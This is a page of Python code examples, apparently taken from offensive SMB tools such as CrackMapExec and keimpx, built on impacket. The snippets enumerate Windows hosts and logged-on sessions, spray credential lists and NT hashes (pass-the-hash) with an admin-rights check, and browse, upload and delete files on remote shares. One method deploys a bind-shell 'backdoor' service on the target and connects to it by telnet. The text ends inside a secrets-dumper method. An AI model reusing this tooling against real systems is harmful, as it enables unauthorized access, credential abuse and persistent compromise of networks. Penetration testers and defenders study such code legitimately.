Ejemplo n.º 1
0
    def enum_host_info(self):
        try:
            smb_conn = SMBConnection(self.host, self.host, None)
            try:
                smb_conn.login('', '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.domain = smb_conn.getServerDomain()
            self.hostname = smb_conn.getServerName()

            self.logger.extra['hostname'] = self.hostname

            try:
                smb_conn.logoff()
            except:
                pass

        except Exception as e:
            logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))

        if self.args.domain:
            self.domain = self.args.domain

        if self.args.local_auth:
            self.domain = self.hostname
Ejemplo n.º 2
0
    def enum_host_info(self):
        try:
            smb_conn = SMBConnection(self.host, self.host, None)
            try:
                smb_conn.login('', '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.domain = smb_conn.getServerDomain()
            self.hostname = smb_conn.getServerName()

            self.logger.extra['hostname'] = self.hostname

            try:
                smb_conn.logoff()
            except:
                pass

        except Exception as e:
            logging.debug(
                "Error retrieving host domain: {} specify one manually with the '-d' flag"
                .format(e))

        if self.args.domain:
            self.domain = self.args.domain

        if self.args.local_auth:
            self.domain = self.hostname
Ejemplo n.º 3
0
def query_thread(param):
    host, args = param
    try:
        smbconn = SMBConnection(host, host)  # throws socket.error
        if args.nthash:
            # throws impacket.smbconnection.SessionError
            smbconn.login(args.username,
                          '',
                          nthash=args.password,
                          domain=args.domain)
        else:
            smbconn.login(args.username, args.password, domain=args.domain)
        resp = fNetrWkstaUserEnum(
            smbconn)  # throws impacket.dcerpc.v5.rpcrt.DCERPCException
    except Exception as e:
        sys.stdout.write('ERROR {}: {}\n'.format(host, str(e)))
        # abort if domain login failed to prevent lockout
        if type(e) == impacket.smbconnection.SessionError:
            if e.getErrorCode(
            ) == STATUS_LOGON_FAILURE and args.domain != '.' and smbconn.getServerDomain(
            ) != '':
                raise RuntimeError(
                    'Aborting: domain creds are invalid, preventing lockout')
        return

    sessions = {}
    for session in resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']:
        username = session['wkui1_username'][:-1]
        logon_domain = session['wkui1_logon_domain'][:-1] or '.'
        oth_domains = session['wkui1_oth_domains'][:-1]
        logon_server = session['wkui1_logon_server'][:-1]
        k = '{}\\{}'.format(logon_domain, username)
        sessions[k.lower()] = '{} ({}) [{}] {}\\{}\n'.format(
            smbconn.getServerName(), smbconn.getRemoteHost(),
            smbconn.getServerOS(), logon_domain, username)
    smbconn.logoff()
    sys.stdout.write(''.join(sessions.values()))
Ejemplo n.º 4
0
class test_login(Thread):
    def __init__(self, target):
        Thread.__init__(self)

        self.__target = target
        self.__credentials = self.__target.get_credentials()
        self.__domains = self.__target.get_domains()
        self.__dstip = self.__target.get_host()
        self.__dstport = self.__target.get_port()
        self.__target_id = self.__target.get_identity()
        self.__destfile = '*SMBSERVER' if self.__dstport == 139 else self.__dstip
        self.__srcfile = conf.name
        self.__timeout = 3

    def connect(self):
        self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile,
                                 self.__dstport, self.__timeout)

    def login(self, user, password, lmhash, nthash, domain):
        self.smb.login(user, password, domain, lmhash, nthash)

    def logoff(self):
        self.smb.logoff()

    def check_admin(self):
        try:
            self.__trans = transport.SMBTransport(remoteName=self.__dstip,
                                                  dstport=self.__dstport,
                                                  filename='svcctl',
                                                  smb_connection=self.smb,
                                                  remote_host=self.__dstip)
            self.__trans.connect()
            self.__dce = self.__trans.get_dce_rpc()
            self.__dce.bind(scmr.MSRPC_UUID_SCMR)
            self.__resp = scmr.hROpenSCManagerW(
                self.__dce, dwDesiredAccess=scmr.SC_MANAGER_CREATE_SERVICE)
            self.__mgr_handle = self.__resp['lpScHandle']
            scmr.hRCloseServiceHandle(self.__dce, self.__mgr_handle)
            self.__dce.disconnect()
            return True
        except rpcrt.DCERPCException as e:
            pass
        except Exception as e:
            logger.error('Check admin error: %s' % str(e))

        return False

    def run(self):
        global pool_thread
        global successes

        try:
            logger.info('Assessing host %s' % self.__target_id)

            for credential in self.__credentials:
                user, password, lmhash, nthash = credential.get_credential()
                password_str = None

                if password != '' or (password == '' and lmhash == ''
                                      and nthash == ''):
                    password_str = password or 'BLANK'
                elif lmhash != '' and nthash != '':
                    password_str = '%s:%s' % (lmhash, nthash)
                for domain in self.__domains:
                    if stop_threads[0]:
                        break

                    status = False
                    error_code = None
                    is_admin = None

                    if domain:
                        user_str = '%s\\%s' % (domain, user)
                    else:
                        user_str = user

                    try:
                        self.connect()
                        self.login(user, password, lmhash, nthash, domain)

                        if self.smb.isGuestSession() > 0:
                            logger.warn(
                                '%s allows guest sessions with any credentials, skipping further login attempts'
                                % self.__target_id)
                            return
                        else:
                            credential.is_admin = self.check_admin()

                            if (self.smb.getServerDomain().upper() !=
                                    domain.upper()
                                    and self.smb.getServerName().upper() !=
                                    domain.upper()):
                                domain = ''
                                user_str = user
                                credential.domain = domain

                            logger.info(
                                'Successful login for %s with %s on %s %s' %
                                (user_str, password_str, self.__target_id,
                                 "(admin user)" if is_admin else ""))

                        self.logoff()

                        status = True
                        successes += 1
                        credential.is_valid = True

                    except SessionError as e:
                        logger.debug('Failed login for %s with %s on %s %s' %
                                     (user_str, password_str, self.__target_id,
                                      e.getErrorString()))
                        error_code = e.getErrorCode()
                        if e.getErrorString(
                        )[0] is "STATUS_PASSWORD_MUST_CHANGE":
                            credential.is_valid = True
                            credential.password_change_required = True
                            status = True
                        elif e.getErrorString(
                        )[0] is "STATUS_ACCOUNT_LOCKED_OUT":
                            credential.is_valid = True
                            credential.is_locked_out = True
                            status = True
                        elif e.getErrorString(
                        )[0] is "STATUS_ACCOUNT_DISABLED":
                            credential.is_valid = True
                            credential.account_disabled = True
                            status = True
                        elif e.getErrorString(
                        )[0] is "STATUS_INVALID_LOGON_HOURS":
                            credential.is_valid = True
                            credential.outside_logon_hours = True
                            status = True
                        else:
                            credential.is_valid = False

                    if status is True:
                        break

            logger.info('Assessment on host %s finished' %
                        self.__target.get_identity())
        except (socket.error, socket.herror, socket.gaierror, socket.timeout,
                NetBIOSTimeout) as e:
            if not stop_threads[0]:
                logger.warn('Connection to host %s failed (%s)' %
                            (self.__target.get_identity(), str(e)))

        self.__target.update_credentials(self.__credentials)
        pool_thread.release()
Ejemplo n.º 5
0
    def __init__(self, args, db, host, module, cmeserver):
        self.args = args
        self.db = db
        self.host = host
        self.module = module
        self.cmeserver = cmeserver
        self.conn = None
        self.hostname = None
        self.domain = None
        self.server_os = None
        self.logger = None
        self.password = None
        self.username = None
        self.hash = None
        self.admin_privs = False
        self.failed_logins = 0

        try:
            smb = SMBConnection(self.host, self.host, None, self.args.smb_port)

            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            #Get the remote ip address (in case the target is a hostname)
            remote_ip = smb.getRemoteHost()

            try:
                smb.login('' , '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.host = remote_ip
            self.domain   = smb.getServerDomain()
            self.hostname = smb.getServerName()
            self.server_os = smb.getServerOS()

            if not self.domain:
                self.domain = self.hostname

            self.db.add_host(self.host, self.hostname, self.domain, self.server_os)

            self.logger = CMEAdapter(getLogger('CME'), {
                                                        'host': self.host,
                                                        'port': self.args.smb_port,
                                                        'hostname': u'{}'.format(self.hostname)
                                                       })

            self.logger.info(u"{} (name:{}) (domain:{})".format(
                                                                self.server_os,
                                                                self.hostname.decode('utf-8'),
                                                                self.domain.decode('utf-8')
                                                                ))

            try:
                '''
                    DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                    (go home Windows, you're drunk)
                '''
                smb.logoff()
            except:
                pass

            if self.args.mssql:
                instances = None
                self.logger.extra['port'] = self.args.mssql_port

                mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                mssql.connect()

                instances = mssql.getInstances(10)
                if len(instances) > 0:
                    self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                    for i, instance in enumerate(instances):
                        self.logger.highlight("Instance {}".format(i))
                        for key in instance.keys():
                            self.logger.highlight(key + ":" + instance[key])

                try:
                    mssql.disconnect()
                except:
                    pass

            if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:

                if self.args.mssql and (instances is not None and len(instances) > 0):
                    self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                    self.conn.connect()

                elif not args.mssql:
                    self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)

        except socket.error:
            pass

        if self.conn:
            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

            self.login()

            if ((self.password is not None or self.hash is not None) and self.username is not None):

                if self.module:
                    module_logger = CMEAdapter(getLogger('CME'), {
                                                                  'module': module.name.upper(),
                                                                  'host': self.host,
                                                                  'port': self.args.smb_port,
                                                                  'hostname': self.hostname
                                                                 })
                    context = Context(self.db, module_logger, self.args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if hasattr(module, 'on_login'):
                        module.on_login(context, self)

                    if hasattr(module, 'on_admin_login') and self.admin_privs:
                        module.on_admin_login(context, self)

                elif self.module is None:
                    for k, v in vars(self.args).iteritems():
                        if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
                            if v is not False and v is not None:
                                getattr(self, k)()
Ejemplo n.º 6
0
    def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
        self.args = args
        self.db = db
        self.host = host
        self.module = module
        self.chain_list = chain_list
        self.cmeserver = cmeserver
        self.share_name = share_name
        self.conn = None
        self.hostname = None
        self.domain = None
        self.server_os = None
        self.logger = None
        self.password = None
        self.username = None
        self.hash = None
        self.admin_privs = False
        self.failed_logins = 0
        
        try:
            smb = SMBConnection(self.host, self.host, None, self.args.smb_port)

            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            #Get the remote ip address (in case the target is a hostname) 
            remote_ip = smb.getRemoteHost()

            try:
                smb.login('' , '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.host = remote_ip
            self.domain   = smb.getServerDomain()
            self.hostname = smb.getServerName()
            self.server_os = smb.getServerOS()

            if not self.domain:
                self.domain = self.hostname

            self.db.add_host(self.host, self.hostname, self.domain, self.server_os)

            self.logger = CMEAdapter(getLogger('CME'), {
                                                        'host': self.host, 
                                                        'port': self.args.smb_port,
                                                        'hostname': u'{}'.format(self.hostname)
                                                       })

            self.logger.info(u"{} (name:{}) (domain:{})".format(
                                                                self.server_os,
                                                                self.hostname.decode('utf-8'), 
                                                                self.domain.decode('utf-8')
                                                                ))

            try:
                '''
                    DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                    (go home Windows, you're drunk)
                '''
                smb.logoff()
            except:
                pass

            if self.args.mssql:
                instances = None
                self.logger.extra['port'] = self.args.mssql_port

                mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                mssql.connect()

                instances = mssql.getInstances(10)
                if len(instances) > 0:
                    self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                    for i, instance in enumerate(instances):
                        self.logger.highlight("Instance {}".format(i))
                        for key in instance.keys():
                            self.logger.highlight(key + ":" + instance[key])

                try:
                    mssql.disconnect()
                except:
                    pass

            if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:
                
                if self.args.mssql and (instances is not None and len(instances) > 0):
                    self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                    self.conn.connect()
                
                elif not args.mssql:
                    self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)

        except socket.error:
            pass

        if self.conn:
            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

            self.login()

            if (self.password is not None or self.hash is not None) and self.username is not None:

                if self.module or self.chain_list:

                    if self.chain_list:
                        module = self.chain_list[0]['object']

                    module_logger = CMEAdapter(getLogger('CME'), {
                                                                  'module': module.name.upper(), 
                                                                  'host': self.host, 
                                                                  'port': self.args.smb_port, 
                                                                  'hostname': self.hostname
                                                                 })
                    context = Context(self.db, module_logger, self.args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if self.module:

                        launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
                        payload = module.payload(context, None if not hasattr(module, 'command') else module.command)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self, launcher, payload)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                    elif self.chain_list:
                        module_list = self.chain_list[:]
                        module_list.reverse()

                        final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
                        if len(module_list) > 2:
                            for m in module_list:
                                if m['object'] == module or m['object'] == module_list[0]['object']:
                                    continue
                                
                                final_launcher = m['object'].launcher(context, final_launcher)

                        if module == module_list[0]['object']: 
                            final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command
                        
                        launcher = module.launcher(context, final_launcher)
                        payload  = module.payload(context, final_launcher)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                elif self.module is None and self.chain_list is None:
                    for k, v in vars(self.args).iteritems():
                        if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
                            if v is not False and v is not None:
                                getattr(self, k)()
Ejemplo n.º 7
0
class SMBShell(PsExec, Samr, SvcCtl):
    def __init__(self, target, credential, local_name):

        self.__dstip = target.get_host()
        self.__dstport = target.get_port()
        self.__user = credential.get_user()
        self.__password = credential.get_password()
        self.__lmhash = credential.get_lm_hash()
        self.__nthash = credential.get_nt_hash()
        self.__domain = credential.get_domain()
        self.__is_admin = credential.get_is_admin()
        self.__srcfile = local_name

        self.__destfile = '*SMBSERVER' if self.__dstport == 139 else self.__dstip
        self.__timeout = 5 * 60

        self.smb = None
        self.tid = None
        self.pwd = '\\'
        self.share = ''
        self.shares_list = []
        self.domains_dict = {}
        self.users_list = set()
        self.completion = []

        self.smbserver_share = ''.join(random.choice(string.ascii_uppercase) for _ in range(8))

        self.connect()
        logger.debug('Connection to host %s established' % target.get_identity())

        self.login()
        logger.debug(
            'Logged in as %s' % (self.__user if not self.__domain else '%s\%s' % (self.__domain, self.__user)))

        logger.info('Looking for a writable share, wait..')
        _ = self.get_writable_share()

        self.info(False)

        if _:
            DataStore.writable_share = _
        else:
            logger.warn('Unable to find a writable share. Going to use %s, but some commands will not work'
                        % DataStore.writable_share)

            if DataStore.version_major >= 6 or (DataStore.version_major == 5 and DataStore.version_minor == 1):
                DataStore.share_path = ntpath.join(DataStore.user_path, 'Windows', 'Temp')
            else:
                DataStore.share_path = ntpath.join(DataStore.user_path, 'WINNT', 'Temp')

    def connect(self):
        self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile, self.__dstport, self.__timeout)

    def login(self):
        try:
            self.smb.login(self.__user, self.__password, self.__domain, self.__lmhash, self.__nthash)
        except socket.error as e:
            logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e))
            raise RuntimeError
        except SessionError as e:
            logger.error('SMB error: %s' % (e.getErrorString(),))
            raise RuntimeError

    def logoff(self):
        self.smb.logoff()

    def smb_transport(self, named_pipe):
        self.trans = transport.SMBTransport(remoteName=self.__dstip, dstport=self.__dstport, filename=named_pipe,
                                            smb_connection=self.smb, remote_host=self.__dstip)

        try:
            self.trans.connect()
        except socket.error as e:
            logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e))
            raise RuntimeError
        except SessionError as e:
            logger.warn('SMB error: %s' % e.getErrorString())
            raise RuntimeError

    def info(self, display=True):
        self.smb_transport('srvsvc')
        self.__dce = self.trans.get_dce_rpc()
        self.__dce.bind(srvs.MSRPC_UUID_SRVS)

        try:
            self.__resp = srvs.hNetrServerGetInfo(self.__dce, 102)
        except rpcrt.DCERPCException as _:
            # traceback.print_exc()
            logger.warning('Unable to query server information')
            return None

        self.__dce.disconnect()

        DataStore.server_os = self.smb.getServerOS()
        DataStore.server_name = self.smb.getServerName()
        DataStore.server_domain = self.smb.getServerDomain()
        DataStore.server_host = self.smb.getRemoteHost()
        DataStore.user_path = self.__resp['InfoStruct']['ServerInfo102']['sv102_userpath']
        DataStore.version_major = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_major']
        DataStore.version_minor = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_minor']

        if display:
            print('Operating system: %s' % self.smb.getServerOS())
            print('Netbios name: %s' % self.smb.getServerName())
            print('Domain: %s' % self.smb.getServerDomain())
            print('SMB dialect: %s' % check_dialect(self.smb.getDialect()))
            print('NTLMv2 support: %s' % self.smb.doesSupportNTLMv2())
            print('UserPath: %s' % DataStore.user_path)
            print('Simultaneous users: %d' % self.__resp['InfoStruct']['ServerInfo102']['sv102_users'])
            print('Version major: %d' % DataStore.version_major)
            print('Version minor: %d' % DataStore.version_minor)
            print('Comment: %s' % self.__resp['InfoStruct']['ServerInfo102']['sv102_comment'] or '')

            # TODO: uncomment when SMBConnection will have a wrapper
            # getServerTime() method for both SMBv1,2,3
            # print 'Time: %s' % self.smb.get_server_time()

        return self.__resp

    def who(self):
        self.smb_transport('srvsvc')
        self.__dce = self.trans.get_dce_rpc()
        self.__dce.connect()
        self.__dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrSessionEnum(self.__dce, NULL, NULL, 502)

        for session in resp['InfoStruct']['SessionInfo']['Level502']['Buffer']:
            print("Host: %15s, user: %5s, active: %5d, idle: %5d, type: %5s, transport: %s"
                  % (session['sesi502_cname'][:-1], session['sesi502_username'][:-1], session['sesi502_time'],
                     session['sesi502_idle_time'], session['sesi502_cltype_name'][:-1],
                     session['sesi502_transport'][:-1]))

        self.__dce.disconnect()

    def __share_info(self, share):
        self.smb_transport('srvsvc')
        self.__dce = self.trans.get_dce_rpc()
        self.__dce.connect()
        self.__dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrShareGetInfo(self.__dce, '%s\x00' % share, 2)
        self.__dce.disconnect()

        return resp

    def check_share(self, share=None):
        # logger.debug("Into check_share with share: %s, self.share is: %s and self.tid is: %s"
        #              % (share, self.share, self.tid))

        if share:
            self.use(share)
        elif not share and (self.share is None or self.tid is None):
            logger.warn('Share has not been specified, select one')
            self.shares()

    def is_writable_share(self, share):
        _ = ''.join([random.choice(string.ascii_letters) for _ in range(8)])

        try:
            self.use(share, False)
            self.mkdir(_)
        except:
            pass
        else:
            self.rmdir(_)
            return True

        return False

    def get_writable_share(self):
        # Check we can write a directory on the shares, return the first writable one
        for _ in self.smb.listShares():
            share = _['shi1_netname'][:-1]

            try:
                share_info = self.__share_info(share)
            except rpcrt.DCERPCException as _:
                # traceback.print_exc()
                logger.warning('Unable to query share: %s' % share)
                continue

            path = share_info['InfoStruct']['ShareInfo2']['shi2_path'][:-1]

            if self.is_writable_share(share):
                logger.info('Share %s %sis writable' % (share, "(%s) " % path if path else ""))
                DataStore.share_path = path
                return share
            else:
                logger.debug('Share %s %sis not writable' % (share, "(%s) " % path if path else ""))

        return None

    def shares(self):
        shares = self.smb.listShares()
        count = 0

        for i in range(len(shares)):
            count += 1
            name = shares[i]['shi1_netname'][:-1]
            self.shares_list.append(name)

            comment = shares[i]['shi1_remark'][:-1]
            share_type = shares[i]['shi1_type']

            _ = self.__share_info(name)
            max_uses = _['InfoStruct']['ShareInfo2']['shi2_max_uses']  # 4294967295L is unlimited
            current_uses = _['InfoStruct']['ShareInfo2']['shi2_current_uses']
            permissions = _['InfoStruct']['ShareInfo2']['shi2_permissions']  # impacket always returns always 0
            path = _['InfoStruct']['ShareInfo2']['shi2_path']

            print('[%d] %s (comment: %s)' % (count, name, comment))

            print('\tPath: %s' % path)
            print('\tUses: %d (max: %s)' % (current_uses, 'unlimited' if max_uses == 4294967295 else max_uses))
            # print '\tType: %s' % share_type
            # print '\tPermissions: %d' % permissions

        msg = 'Which share do you want to connect to? (default: 1) '
        limit = len(self.shares_list)
        choice = read_input(msg, limit)

        self.use(self.shares_list[choice - 1])

    def use(self, share, display=True):
        if not share:
            raise missingShare('Share has not been specified')

        if self.tid:
            self.smb.disconnectTree(self.tid)

        try:
            self.share = share.strip('\x00')
            self.tid = self.smb.connectTree(self.share)
            self.pwd = '\\'
            self.ls('', False)
        except SessionError as e:
            if not display:
                pass
            elif e.getErrorCode() == nt_errors.STATUS_BAD_NETWORK_NAME:
                logger.warn('Invalid share name')
            elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                logger.warn('Access denied')
            else:
                logger.warn('Unable to connect to share: %s' % (e.getErrorString(),))

    def cd(self, path):
        if not path:
            return

        self.check_share()
        path = ntpath.normpath(path)
        self.oldpwd = self.pwd

        if path == '.':
            return
        elif path == '..':
            sep = self.pwd.split('\\')
            self.pwd = '\\'.join('%s' % s for s in sep[:-1])
            return

        if path[0] == '\\':
            self.pwd = path
        else:
            self.pwd = ntpath.join(self.pwd, path)

        # Let's try to open the directory to see if it's valid
        try:
            fid = self.smb.openFile(self.tid, self.pwd)
            self.smb.closeFile(self.tid, fid)
            logger.warn('File is not a directory')
            self.pwd = self.oldpwd
        except SessionError as e:
            if e.getErrorCode() == nt_errors.STATUS_FILE_IS_A_DIRECTORY:
                return
            elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                logger.warn('Access denied')
            elif e.getErrorCode() == nt_errors.STATUS_OBJECT_NAME_NOT_FOUND:
                logger.warn('File not found')
            else:
                logger.warn('Unable to change directory: %s' % (e.getErrorString(),))

            self.pwd = self.oldpwd

    def get_pwd(self):
        print(ntpath.join(self.share, self.pwd))

    def ls(self, path, display=True):
        self.check_share()

        if not path:
            pwd = ntpath.join(self.pwd, '*')
        else:
            pwd = ntpath.join(self.pwd, path)

        self.completion = []
        pwd = ntpath.normpath(pwd)

        try:
            files = self.smb.listPath(self.share, pwd)
        except SessionError as e:
            if not display:
                pass
            elif e.getErrorCode() in (nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_NO_SUCH_FILE):
                logger.warn('File not found')
            else:
                logger.warn('Unable to list files: %s' % (e.getErrorString(),))

            return

        for f in files:
            if display is True:
                print('%s %8s %10d %s' % (time.ctime(float(f.get_mtime_epoch())),
                                          '<DIR>' if f.is_directory() > 0 else '',
                                          f.get_filesize(), f.get_longname()))

            self.completion.append((f.get_longname(), f.is_directory(), f.get_filesize()))

    def lstree(self, path):
        self.check_share()

        if not path:
            path = ntpath.basename(self.pwd)
            self.cd('..')

        for x in range(0, path.count('\\')):
            print('|  ')

        print('%s' % os.path.basename(path.replace('\\', '/')))

        self.ls('%s\\*' % path, display=False)

        for identified_file, is_directory, size in self.completion:
            if identified_file in ('.', '..'):
                continue

            if is_directory > 0:
                self.lstree(ntpath.join(path, identified_file))
            else:
                for x in range(0, path.count('\\')):
                    print('|  ')

                print('|-- %s (%d bytes)' % (identified_file, size))

    def cat(self, filename):
        self.check_share()

        filename = os.path.basename(filename)
        self.ls(filename, display=False)

        for identified_file, is_directory, size in self.completion:
            if is_directory > 0:
                continue

            filepath = ntpath.join(self.pwd, identified_file)
            logger.debug('Reading file %s (%d bytes)..' % (filepath, size))

            try:
                self.fid = self.smb.openFile(self.tid, filepath)
            except SessionError as e:
                if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                    logger.warn('Access denied to %s' % identified_file)
                elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION:
                    logger.warn('Access denied to %s due to share access flags' % identified_file)
                else:
                    logger.error('Unable to access file: %s' % (e.getErrorString(),))

                continue

            offset = 0

            while 1:
                try:
                    data = self.smb.readFile(self.tid, self.fid, offset)
                    data = data.decode("cp437")
                    print(data)
                    if len(data) == 0:
                        break

                    offset += len(data)
                except SessionError as e:
                    if e.getErrorCode() == nt_errors.STATUS_END_OF_FILE:
                        break
                    else:
                        logger.error('Unable to read file content: %s' % (e.getErrorString(),))

            self.smb.closeFile(self.tid, self.fid)

    def download(self, filename, path=None):
        self.check_share()

        basename = os.path.basename(filename)

        if path is None:
            path = '.'
        else:
            path = path.replace('\\', '/')

        self.ls(basename, display=False)

        for identified_file, is_directory, size in self.completion:
            if is_directory > 0:
                self.downloadtree(identified_file)
                self.cd('..')
                continue

            filepath = ntpath.join(self.pwd, identified_file)
            logger.debug('Downloading file %s (%d bytes)..' % (filepath, size))

            try:
                fh = open(os.path.join(path, identified_file), 'wb')
                self.smb.getFile(self.share, filepath, fh.write)
                fh.close()
            except SessionError as e:
                if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                    logger.warn('Access denied to %s' % identified_file)
                elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION:
                    logger.warn('Access denied to %s due to share access flags' % identified_file)
                else:
                    logger.error('Unable to download file: %s' % (e.getErrorString(),))

    def downloadtree(self, path):
        self.check_share()

        if not path:
            path = ntpath.basename(self.pwd)
            self.cd('..')

        basename = ntpath.basename(path)
        normpath = path.replace('\\', '/')

        self.cd(basename)

        # Check if the provided path is not a directory (if so, then the
        # working directory has not changed
        if self.pwd == self.oldpwd:
            self.download(basename)
            return

        logger.debug('Recreating directory %s' % self.pwd)
        self.ls(None, display=False)

        if not os.path.exists(normpath):
            os.makedirs(normpath)

        for identified_file, is_directory, size in self.completion:
            if identified_file in ('.', '..'):
                continue

            if is_directory > 0:
                self.downloadtree(ntpath.join(path, identified_file))
                self.cd('..')
            else:
                self.download(identified_file, normpath)

    def upload(self, pathname, destfile=None):
        self.check_share()

        if isinstance(pathname, string_types):
            files = glob.glob(pathname)
        else:
            files = [pathname]

        for filename in files:
            try:
                if isinstance(filename, string_types):
                    fp = open(filename, 'rb')
                else:
                    fp = filename
            except IOError:
                logger.error('Unable to open file %s' % filename)
                return False

            if not destfile or len(files) > 1:
                destfile = os.path.basename(filename)

            destfile = ntpath.join(self.pwd, destfile)

            if isinstance(filename, string_types):
                logger.debug('Uploading file %s to %s..' % (filename, destfile))

            try:
                self.smb.putFile(self.share, destfile, fp.read)
            except SessionError as e:
                traceback.print_exc()
                if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                    logger.warn('Access denied to upload %s' % destfile)
                elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION:
                    logger.warn('Access denied to upload %s due to share access flags' % destfile)
                else:
                    logger.error('Unable to upload file: %s' % (e.getErrorString(),))

            fp.close()

    def rename(self, srcfile, destfile):
        self.check_share()
        srcfile = ntpath.join(self.pwd, ntpath.normpath(srcfile))
        destfile = ntpath.join(self.pwd, ntpath.normpath(destfile))
        self.smb.rename(self.share, srcfile, destfile)

    def mkdir(self, path):
        self.check_share()
        path = ntpath.join(self.pwd, ntpath.normpath(path))
        self.smb.createDirectory(self.share, path)

    def rm(self, filename):
        self.check_share()

        filename = ntpath.join(self.pwd, ntpath.normpath(filename))
        self.ls(filename, display=False)

        for identified_file, is_directory, size in self.completion:
            if is_directory > 0:
                continue

            filepath = ntpath.join(self.pwd, identified_file)
            logger.debug('Removing file %s (%d bytes)..' % (filepath, size))

            try:
                self.smb.deleteFile(self.share, filepath)
            except SessionError as e:
                if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                    logger.warn('Access denied to %s' % identified_file)
                elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION:
                    logger.warn('Access denied to %s due to share access flags' % identified_file)
                else:
                    logger.error('Unable to remove file: %s' % (e.getErrorString(),))

    def rmdir(self, path):
        self.check_share()

        path = ntpath.join(self.pwd, ntpath.normpath(path))
        self.ls(path, display=False)

        for identified_file, is_directory, _ in self.completion:
            if is_directory <= 0:
                continue

            filepath = ntpath.join(self.pwd, identified_file)
            logger.debug('Removing directory %s..' % filepath)

            try:
                self.smb.deleteDirectory(self.share, filepath)
            except SessionError as e:
                if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                    logger.warn('Access denied to %s' % identified_file)
                elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION:
                    logger.warn('Access denied to %s due to share access flags' % identified_file)
                else:
                    logger.error('Unable to remove directory: %s' % (e.getErrorString(),))

    def bindshell(self, port):
        connected = False
        srvname = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
        local_file = os.path.join(keimpx_path, 'contrib', 'srv_bindshell.exe')
        remote_file = '%s.exe' % ''.join([random.choice(string.ascii_lowercase) for _ in range(8)])

        if not os.path.exists(local_file):
            raise missingFile('srv_bindshell.exe not found in the contrib subfolder')

        logger.info('Launching interactive OS shell')
        logger.debug('Going to use temporary service %s' % srvname)

        if not port:
            port = 4445
        elif not isinstance(port, int):
            port = int(port)

        self.deploy(srvname, local_file, port, remote_file)

        logger.info('Connecting to backdoor on port %d, wait..' % port)

        for counter in range(0, 3):
            try:
                time.sleep(1)

                if str(sys.version.split()[0]) >= '2.6':
                    tn = Telnet(self.__dstip, port, 3)
                else:
                    tn = Telnet(self.__dstip, port)

                connected = True
                tn.interact()
            except (socket.error, socket.herror, socket.gaierror, socket.timeout) as e:
                if connected is False:
                    warn_msg = 'Connection to backdoor on port %d failed (%s)' % (port, e)

                    if counter < 2:
                        warn_msg += ', retrying..'
                        logger.warn(warn_msg)
                    else:
                        logger.error(warn_msg)
            except SessionError as e:
                # traceback.print_exc()
                logger.error('SMB error: %s' % (e.getErrorString(),))
            except KeyboardInterrupt as _:
                print()
                logger.info('User aborted')
            except Exception as e:
                # traceback.print_exc()
                logger.error(str(e))

            if connected is True:
                tn.close()
                sys.stdout.flush()
                break

        time.sleep(1)
        self.undeploy(srvname)

    def getSecretsDumper(self, history):
